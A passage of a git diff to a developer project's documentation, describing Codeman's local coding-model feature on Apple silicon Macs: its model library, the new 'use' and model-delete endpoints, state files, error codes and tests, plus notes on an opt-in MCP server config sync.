feature switched it on AND no other endpoint is saved, deletes only inside `local-model/` (the models only when asked), and leaves the coding agent. ⚠️ Developer tools: only `/usr/bin/xcode-select -p`, bounded; never `git`/`python3`/`xcrun` from the server (each opens a system window on such a Mac). Tests: `test/local-model-install-job.test.ts` (every state with every event, the library rows), `-install-service`, `-install-e2e` (real modules over `test/fixtures/fake-ollama.ts`, a second model included), `-state-store`, `-connect`, `test/cli-install-runner.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`. → [architecture-invariants#local-model-install](docs/architecture-invariants.md#local-model-install), `docs/local-models.md`, `docs/api-reference.md` (Local model) **MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md` @@ -328,7 +328,7 @@ One module per domain in `src/web/routes/` (plus a barrel; `ls src/web/routes/` ## State Files -All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `local-model.json` (local model install: state, step, model, port, pid, digest, the previous `customModelEndpointsEnabled` value; mode 0600, holds no path, not part of a config backup) + `local-model/` (the pinned runtime, the model store and the runtime's private HOME, removed by `DELETE /api/local-model`), `agent-skill-default-migrated.json` (written once by the 1.50.0 boot migration of `agentSkillEnabled`; while it exists the migration never runs again, so deleting it would switch a stored off on at the next start; never tracked or restored), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back), `cli-installed` (empty, touched by `install.sh` when it installs a CLI: a running server reads only its mtime, and a change ends that CLI's negative-cache backoff) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all four installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users//cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`). +All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `local-model.json` (local model install: state, step, model, port, pid, digest, the checked models of the library, the previous `customModelEndpointsEnabled` value; mode 0600, holds no path, not part of a config backup) + `local-model/` (the pinned runtime, the model store and the runtime's private HOME, removed by `DELETE /api/local-model`), `agent-skill-default-migrated.json` (written once by the 1.50.0 boot migration of `agentSkillEnabled`; while it exists the migration never runs again, so deleting it would switch a stored off on at the next start; never tracked or restored), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back), `cli-installed` (empty, touched by `install.sh` when it installs a CLI: a running server reads only its mtime, and a change ends that CLI's negative-cache backoff) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all four installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users//cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`). **Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored. diff --git a/docs/api-reference.md b/docs/api-reference.md index e57e944fc..8dc218edd 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -1716,7 +1716,7 @@ Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge cre ## Local model -`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, and where an install of one stands. Five verbs install a model, pause and continue the install, stop and start the model runtime, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md). +`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, where an install of one stands and which models are on the machine. Seven verbs install a model (a first one, or another one beside it), switch to a model that is already there, pause and continue a job, stop and start the model runtime, delete one model, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md). **Experimental.** These routes and their payloads are labeled experimental: the fields below, the states, the error codes and the sentences may change or go in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on their shape yet. @@ -1725,11 +1725,13 @@ Every route is admin only in multi-user mode (`403 FORBIDDEN`, answered before a | Method | Path | Body | Notes | | -------- | -------------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `GET` | `/api/local-model` | none | `200` with `{ hardware, recommendation, catalogUpdated, install }`. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe. | -| `POST` | `/api/local-model/install` | `{ modelId, cli, context, acknowledgedBytes }` | Starts the one install job and answers at once; the job runs on in the server. `400 INVALID_INPUT` when the three choices are not a row the server offers right now. `409`: `job-running`, `already-installed`, `size-changed`. | +| `POST` | `/api/local-model/install` | `{ modelId, cli, context, acknowledgedBytes }` | Starts the one install job and answers at once; the job runs on in the server. With a model installed it adds another one: the earlier model stays on disk, and the new one is the model in use when the job ends. `400 INVALID_INPUT` when the three choices are not a row the server offers right now. `409`: `job-running`, `already-installed` (this model at this context is the one in use), `size-changed`, `sessions-open`. | +| `POST` | `/api/local-model/use` | `{ modelId }` | Switches to a model of `install.library` whose `actions` list `use`. A job of the two steps `verify` and `connect`; nothing is downloaded. `400 INVALID_INPUT` when the model is not a checked model of the library, or no coding agent for it is installed. `409`: `job-running`, `wrong-state` (nothing is installed), `already-installed`, `sessions-open`. | | `POST` | `/api/local-model/cancel` | none | Interrupts the step in flight; the job is `paused` at that step. `409 wrong-state` when no job is running. | | `POST` | `/api/local-model/resume` | `{ newPort? }` (may be absent) | Continues a `paused` or `failed` job at the same step. `newPort: true` chooses another port first. `409`: `job-running`, `wrong-state`, `sessions-open` (`newPort` while live sessions use the model). | | `POST` | `/api/local-model/runtime` | `{ action: "start" \| "stop", newPort? }` | `stop` stops the runtime and keeps it from starting at the next boot; `start` undoes that. `newPort: true` with `start` chooses another port and moves the saved endpoint to it. `409`: `job-running`, `wrong-state` (nothing is installed), `sessions-open` (`stop` or `newPort` while live sessions use the model: their agents keep calling the address they were started with). | -| `DELETE` | `/api/local-model` | `{ removeModel? }` (may be absent) | Stops the runtime, removes the saved endpoint, restores the settings flag when this feature switched it on and no other endpoint is saved, deletes the runtime; the model only with `removeModel: true`. `409`: `job-running`, `sessions-open`. | +| `DELETE` | `/api/local-model` | `{ removeModel? }` (may be absent) | Stops the runtime, removes the saved endpoint, restores the settings flag when this feature switched it on and no other endpoint is saved, deletes the runtime; the downloaded models (all of them) only with `removeModel: true`. With nothing installed it is what deletes the models an earlier Remove kept. `409`: `job-running`, `sessions-open`. | +| `DELETE` | `/api/local-model/models` | `{ modelId }` | Deletes ONE model from the store, through the runtime. `modelId` is a model name (`name:tag`) of `install.library` whose `actions` list `delete`, never a path. `400 INVALID_INPUT` for a name that is not on this machine. `409`: `job-running`, `wrong-state` (nothing is installed), `model-active` (the model of the installation or of the current job), `runtime-not-running`. `500 OPERATION_FAILED` when the runtime did not delete it. | Every verb answers `{ success: true, data: }` with the `install` object (below) as it is after the verb. A refusal the feature names is a `409` whose envelope also carries the conflict: @@ -1747,9 +1749,9 @@ Every verb answers `{ success: true, data: }` with the `install` objec } ``` -`data.reason` is `job-running`, `already-installed` (remove the installed model first), `size-changed` (with `expectedBytes` and `expectedGb`), `sessions-open` (with `sessions`, the names of the live sessions that use the model) or `wrong-state`. A `409 CONFLICT` without `data` means a config file that must not be overwritten (`settings.json` or `custom-model-hosts.json` does not parse); `error` names the fix. +`data.reason` is `job-running`, `already-installed` (the model is the one in use already), `size-changed` (with `expectedBytes` and `expectedGb`), `sessions-open` (with `sessions`, the names of the live sessions that use the model), `wrong-state`, `model-active` (a delete of the model in use: switch first, or remove everything) or `runtime-not-running` (a delete while the runtime is down: start it first). A `409 CONFLICT` without `data` means a config file that must not be overwritten (`settings.json` or `custom-model-hosts.json` does not parse); `error` names the fix. -`POST /api/local-model/install` also answers `400` when a saved model endpoint already uses the id `local-ollama` and was not created by this feature: rename or delete that endpoint first. The check is made before anything is downloaded. Every `400` the install names, and the `507 OPERATION_FAILED` of a first install on a full disk, carries its sentence as `data.message` (`{ text, vars }`, like a `409`), so a client can print it in its own language. +`POST /api/local-model/install` also answers `400` when a saved model endpoint already uses the id `local-ollama` and was not created by this feature: rename or delete that endpoint first. The check is made before anything is downloaded. Every `400` the feature names, the `507 OPERATION_FAILED` of a first install on a full disk and the `500 OPERATION_FAILED` of a delete the runtime refused carry their sentence as `data.message` (`{ text, vars }`, like a `409`), so a client can print it in its own language. **Consent is bound to the size shown.** `acknowledgedBytes` must be the `installBytes` of the chosen row: the model download plus the runtime download while the runtime is not unpacked yet. The server compares it with its own total before anything starts and answers `409 size-changed` when they differ, so a click confirms exactly the size the person saw. @@ -1775,12 +1777,13 @@ A probe that fails is an answer, not an error: a server that is not on macOS, or - `tag?`: `{ kind, label }`, the one tag of the row. `kind` is `tested`, `best`, `tight`, `slow` or `small`; - `fit`: `good` (up to 0.85 of the budget) or `tight` (up to 0.98), with its label `fitLabel`; - `speed`: `ok`, `slow` (under 10 tokens per second) or `unknown`, with `speedLabel` (absent for `ok`) and `tokensPerSecond` (rounded to one decimal, absent for `unknown`; `speed` is decided on the unrounded figure, so `10` can be `slow`). `unknown` means the chip is in no row of the catalogue's chip table, or the catalogue has no speed figure for the model: a speed is never guessed; - - `tested`: we ran this model with this CLI on a Mac like this one (same chip, same memory size). Its `tokensPerSecond` is then the speed measured in that run. + - `tested`: we ran this model with this CLI on a Mac like this one (same chip, same memory size). Its `tokensPerSecond` is then the speed measured in that run; + - `library?`: the model at this context is a checked model on this machine already (see `install.library`). `active`: it is the model in use. `ready`: `POST /api/local-model/use` switches to it, and nothing is downloaded. Absent otherwise. - `budgetBytes` and `budgetGb`: the memory a model may use on this Mac (`0` for `not-macos` and `intel`, where none is computed). `budgetSource` is `estimated` (computed from the installed memory: all there is before the runtime ran), `wired-limit` (taken from `iogpu.wired_limit_mb`) or `measured` (the device total the runtime itself printed when it started; the GET uses it from the first install on). - `catalogUpdated`: ISO date on which the catalogue's rows were last checked. - `install`: where the install stands and what can be done about it. - `state`: `idle` (nothing installed, no job), `installing`, `paused` (Cancel or a server restart stopped the job; it never continues without a click), `failed` or `installed`. - - `step` and `steps[]` (present with `installing`, `paused` and `failed`): the step the job is in or stopped in, and the steps of this job in order, out of `runtime`, `model`, `verify`, `agent`, `connect`. `agent` is absent from a job whose agent CLI was already installed. + - `step` and `steps[]` (present with `installing`, `paused` and `failed`): the step the job is in or stopped in, and the steps of this job in order, out of `runtime`, `model`, `verify`, `agent`, `connect`. `agent` is absent from a job whose agent CLI was already installed. A switch (`POST .../use`) is the two steps `verify` and `connect`. - `progress` (while a download runs, and as it stood on a paused or failed job): `completedBytes`, `totalBytes`, `completedGb`, `totalGb`, and while it moves `bytesPerSecond`, `mbPerSecond` (whole decimal megabytes per second as text) and `secondsLeft`. During the `model` step both byte figures come from the download's own lines, not from the catalogue. - `error` (with `failed`; with `installed` only when something blocks a session): `{ code, message: { text, vars? }, next, nextModel?, detail? }`. `next` is the ONE action that helps: `retry` (`POST .../resume`), `other-port` (`POST .../resume` or `.../runtime` with `newPort: true`), `next-model` (choose again; `nextModel` is `{ modelId, modelLabel }` when the server knows one), `start` (`POST .../runtime`) or `remove` (`DELETE`). `detail` is raw text for the curious (an installer's last lines), not translated. - `model` (`{ id, label }`), `cli`, `cliLabel`, `context`: the choice of the job or of the installation. `port`: the runtime's loopback port, once chosen. @@ -1790,7 +1793,9 @@ A probe that fails is an answer, not an error: a server that is not on macOS, or - `developerTools`: `present`, `missing` (the Mac has no Xcode or Command Line Tools, so macOS will offer to install them the first time an agent runs `git` or `python3`) or `unknown`. - `runtime`: `{ version, installed, downloadBytes, downloadGb, unpackedGb }`. `downloadBytes` is `0` once the runtime is unpacked. - `folder`: the absolute folder everything of this feature is kept in. - - `actions[]`: exactly what the server accepts right now, out of `install`, `cancel`, `resume`, `start`, `stop`, `remove` and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs and nothing blocks a session). + - `library[]`: the models on this machine, the model in use first. Empty with `idle` (no runtime is there to ask). Each row: `id` (the name the runtime lists, `name:tag`), `label`, `context?` (the context it was checked with), `sizeBytes?` and `sizeGb?` (its size on disk as the runtime reports it, else as recorded when it was checked), `active` (it is the model in use), `verified` (Codeman checked it), `status` and `actions[]`. `status` is `ready`, `changed` (checked, and the runtime now reports another digest under the name), `missing` (checked, and the runtime no longer lists it) or `unverified` (the runtime lists it and Codeman never checked it: a model an earlier Remove kept, the model of a job that has not passed its check, or one another program pulled through the runtime's port). `actions` is what the server accepts for THAT row right now, out of `use` and `delete`; `delete` needs the running runtime, and a name that is not a plain `name:tag` is listed with no action. + - `store?`: `{ bytes, gb }`, what the model store takes on disk (the files of its blob folder, so shared layers count once and an interrupted download is included). Present in every state once it was measured; cached for about thirty seconds. + - `actions[]`: exactly what the server accepts right now, out of `install` (with `installed`: add another model), `cancel`, `resume`, `start`, `stop`, `remove` (with `idle` only while `store` holds something), `use` and `delete-model` (only while a row of `library` offers them) and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs and nothing blocks a session). Error codes (`install.error.code`), each with one next step: @@ -1800,9 +1805,11 @@ Error codes (`install.error.code`), each with one next step: | `start` | `runtime-stopped` (the runtime crashed three times in a row and is no longer restarted) | | `other-port` | `port-in-use` | | `next-model` | `model-not-found`, `does-not-fit`, `no-tool-call` | -| `remove` | `model-changed` (the model's digest is no longer the one stored at install time; a session on it is refused) | +| `remove` | `model-changed` (the model's digest is no longer the one stored when it was checked; a session on it is refused, and so is a switch to it) | -Starting a session on the saved endpoint goes through the existing custom model launch (`POST /api/quick-start` with `customModel`, or `POST /api/sessions/:id/custom-model`). For the endpoint this feature manages both answer `OPERATION_FAILED` with one sentence while the runtime is not running, when the model's digest changed, or for a model other than the installed one. +Two codes are only ever the reason of a refused session start, never on `install.error`: `runtime-not-running` (the person stopped the runtime) and `job-unfinished` (a job that changes the model in use is running or stopped: nothing is started until it ended `installed` again). + +Starting a session on the saved endpoint goes through the existing custom model launch (`POST /api/quick-start` with `customModel`, or `POST /api/sessions/:id/custom-model`). For the endpoint this feature manages both answer `OPERATION_FAILED` with one sentence while the runtime is not running, while a job that changes the model in use is running or stopped, when the model's digest changed, or for a model other than the one in use. Every computed size a person reads travels twice: as bytes, and as decimal GB text without the unit (`"needGb": "29.6"`). Show the text and add the unit; do not divide the bytes yourself, so one request never shows two different roundings. The installed memory is the exception named above: show `memClassGb`. diff --git a/docs/architecture-invariants.md b/docs/architecture-invariants.md index d280b4773..dead6b93b 100644 --- a/docs/architecture-invariants.md +++ b/docs/architecture-invariants.md @@ -720,11 +720,19 @@ Either way the actual launch (`runCustomModelEntry`) routes through `run()` itse **Remove** stops the child, undoes the connection FIRST (a refused write of the endpoint store or of the settings rejects before any file is deleted), restores the flag only when this feature switched it on AND no other endpoint is saved, then deletes the runtime and the private home and, when asked, the models (`removeLocalModelFiles()`, which refuses any path outside the root). ⚠️ While a live session uses the endpoint the answer is 409 `sessions-open` with the session names (`sessionNamesUsingEndpoint()`, read at the moment of the request). ⚠️ The coding agent stays: what its installer wrote is not ours to remove. +**The library** (one model in use, several on disk). `LocalModelStateFile.library` lists every model that PASSED the check through Codeman: `{ id, label, context, digest, bytes?, cli?, verifiedAt? }`, no path. The service upserts the entry as a fact when `verify` passes (where it stores the digest); the reducer only carries the list, through every event but `remove`. An `installed` file an earlier build wrote has no list: `libraryOf()` then counts its one model, and an install or a switch from it writes that model into the list before the state's `model` member becomes the new job's. ⚠️ ONE model is in use: the endpoint record still lists exactly one model, the runtime still holds one (`OLLAMA_MAX_LOADED_MODELS=1`), and `launchRefusalMessage()` still starts only the state's model with its stored digest. Never widen the record to "every checked model": the port has no login, and two sessions on two models would make the runtime swap 20 GB on every request. + +⚠️ Three verbs, each a row of the tables and never a special case. **Add**: `install` is also listed for `installed` in `INSTALL_TRANSITIONS`; the job is the same five steps, and the earlier model stays (the `replacedModelId` rule, `replacedModelFor()`, never names a model of the library: only an unchecked or partial download is deleted as a leftover). **Switch**: the event `use` (`installed`, `paused`, `failed`) starts a job of `USE_JOB_STEPS` (`verify`, `connect`) for a library entry, carrying its stored digest in `model.digest`; `stepVerify` compares that digest BEFORE it loads anything and again after the check, and a different or missing one fails with `model-changed`. A switch has no `model` step, so the leftovers of the job it replaced are deleted at the start of `verify` (`dropReplacedModel()`). Its coding agent is the entry's own when that is installed now, else the state's (`recheckCliInstalled()`), else a 400: a job that stopped while it installed another agent leaves the state naming one that is not there. **Delete** (`deleteLibraryModel()`) moves no state, so it is not an event; whether a state allows it is the `delete-model` action of its `INSTALL_STATE_TABLE` row. It takes a model NAME (the request schema and the service both hold it to `LOCAL_MODEL_ID_PATTERN`), requires that name in the server's own listing (the library or the runtime's tags), goes through the runtime's `/api/delete` only (never a file delete, never a path), and trusts only the runtime's answer that the model is gone, never an empty listing. ⚠️ It refuses the model of the installation or of the current job (`model-active`), a running job, and a runtime that is down or does not answer (`runtime-not-running`). + +⚠️ `install` from `installed` and `use` are refused with 409 `sessions-open` while live sessions use the endpoint, like Stop: both change which model the runtime holds and often restart it for another context. ⚠️ While a job that started from `installed` is unfinished (`installing`, `paused`, `failed`) the launch check refuses every start with `job-unfinished` (a code only a refused start says, like `runtime-not-running`), because it wants the state `installed`; the view then offers `use` on the other checked models, which is the way back. A switch is never offered for the model of the stopped job itself: Resume goes on with that one. + +**The view's two listings.** `install.library` (`buildLibraryRows()`, pure) joins the state's entries with what the RUNNING runtime lists (`/api/tags`): `ready`, `changed` (another digest under the name), `missing` (no longer listed) for a checked model, `unverified` for anything else the runtime lists (a model an earlier Remove kept, the model of a job that has not passed its check, one another program pulled through the unauthenticated port), which can be deleted and never switched to. A name that is not a plain `name:tag` is listed with no action. `install.store` is `measureModelStore()`: the sizes of the regular files directly in `models/blobs`, nothing followed, nothing outside the root. ⚠️ Neither is asked for on the one-second poll: `tagsCache` (5 s) and `storeCache` (30 s) are refreshed in the background, only a figure that was never read is waited for (300 ms at most), a runtime that does not answer keeps the last list (or every checked model would read as `missing` for a moment), and every verb and finished step that changes the store throws both away (`forgetStore()`). ⚠️ In `idle` there is no runtime to ask, so the list is empty and only `store` says that an earlier Remove kept models; `remove` is listed there only while it holds something, and `DELETE /api/local-model { removeModel: true }` is what frees it. `Candidate.library` (`active`, `ready`) is added by the ROUTE (`markLibraryCandidates()`), never by `recommend()`, which stays pure and knows nothing of what is installed. + **Developer tools**: `checkDeveloperTools()` runs ONLY `/usr/bin/xcode-select -p`, bounded, on darwin. ⚠️ Never `git`, `python3` or `xcrun` from the server: on a Mac without the tools each opens a system window. The view carries `developerTools`, and the window prints the one sentence when it is `missing`. **The endpoint store's writer** (`src/custom-model-hosts-writer.ts`): `mutateCustomModelHosts(fn)` is the shape of `mutateSettingsFile()`: one promise chain, a random temp name, a refusal (409) to write over a file that does not parse. ⚠️ EVERY writer of `custom-model-hosts.json` goes through it: the four endpoint routes, the sweep and the connect step (`test/custom-model-hosts-writer.test.ts` fails a `writeCustomModelHosts()` call anywhere else in `src/`). The routes used to read, change and write on their own through one shared temp name, so two creates sent together lost a record or failed, and a file that did not parse was read as `[]` and replaced by one record, with every other endpoint's API key gone. ⚠️ A route's check runs INSIDE the callback, and discover splices onto the record as it is after the probe, not the copy read before it. -Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event), `test/local-model-install-service.test.ts`, `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`. +Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event, the library rows), `test/local-model-install-service.test.ts` (the three library verbs and the two caches included), `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime: install A, add B, switch back, delete B), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`. ### Approvals Inbox diff --git a/docs/local-models.md b/docs/local-models.md index 485c40cd4..a90d48178 100644 --- a/docs/local-models.md +++ b/docs/local-models.md @@ -4,7 +4,9 @@ Codeman can set up a coding model that runs on the Mac the server runs on: no ac no API key, and the session's prompts and files go to a model on this Mac rather than a cloud provider (the coding agent itself may still check for updates). One button on the welcome screen opens a window that shows what fits this Mac, installs the choice and ends on a coding agent session that -runs on it. +runs on it. The same window then lists the models that are on this Mac with what each takes +on disk, adds another one, switches between them and deletes one +([The models on this Mac](#the-models-on-this-mac)). **Experimental.** The routes and their payloads may change in any release ([versioning-policy.md](versioning-policy.md), "Experimental local model routes"). Apple @@ -103,7 +105,9 @@ for a row it does not know. Its answer for each memory size is then pinned in ## What an install does, in order The person picks a model, presses "Install on this Mac" and confirms the sizes once. The -server then runs one job of five steps. The window polls `GET /api/local-model` once a +server then runs one job of five steps. The same job adds a second model to an installed one +("Add a model"): the runtime is there already, so it downloads the model alone, and the +earlier model stays on disk. The window polls `GET /api/local-model` once a second; the job runs in the server, so the window can be closed. | Step | What it does | @@ -244,10 +248,13 @@ Switching the setting on also starts that five-minute sweep for every other save existing custom model launch. Before a coding agent is STARTED on that endpoint the server checks, in this order: +- no job that changes the model in use is running or stopped: until an install or a switch + ended, nothing is started ("The model on this Mac is being changed and is not ready"); - the runtime child Codeman started is alive (whatever else answers on the port is not ours); -- the digest the runtime reports for the installed model is the one stored at install time; -- the model asked for is the one that was installed and checked. +- the digest the runtime reports for the model in use is the one stored when it was checked; +- the model asked for is the model in use. Another model that is on this Mac is not started + on the endpoint: switch to it in the window first. That check runs wherever a new agent process comes to be on the endpoint: a session created with the model, a model applied to a running session (which restarts its agent), the attach @@ -273,22 +280,75 @@ answer back from a file it writes in its own folder. The skill never installs a answers a confirmation, the runtime still answers one request at a time, and while a worker it opened is live, Stop and Remove are refused until it is closed. +## The models on this Mac + +The model store can hold several models. **One of them is the model in use**: the one the +endpoint record `local-ollama` lists, the runtime is started for and a session can be +started on. The runtime holds one model in memory at a time (`OLLAMA_MAX_LOADED_MODELS=1`), +so this is what the Mac can really do, and it keeps every rule above: one record, one +model, one stored digest per model. + +The installed screen lists what is on this Mac, the model in use first: + +| A row says | It means | +| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| In use | The model sessions start on | +| Ready | Codeman downloaded and checked it. **Use** switches to it | +| Not checked | The runtime lists it and Codeman never checked it: a model an earlier Remove kept, or one another program pulled through the runtime's port. It can only be deleted | +| Changed | It was checked, and the runtime now reports another digest under its name. It is never started; delete it and install it again | +| Missing | It was checked, and the runtime no longer lists it. **Delete** drops the entry | + +Each row shows the context the model was checked with and its size on disk, as the runtime +reports it. Under the list is what all downloads take together: the size of the files in +`local-model/models/blobs`, so layers two models share are counted once and an interrupted +download is included. The window asks the runtime for the list at most every five seconds +and measures the store at most every thirty, never on every poll. + +- **Add a model** opens the chooser. A model that is not on this Mac is installed like the + first one, with its sizes confirmed; when the job ends it is the model in use, and the + earlier model stays in the list. A row that is on this Mac already says so and is switched + to, without a download and without a confirm screen. +- **Use** switches to a checked model. It is a job of two steps, `verify` and `connect`: + the runtime is restarted with the context the model was checked with, the model is 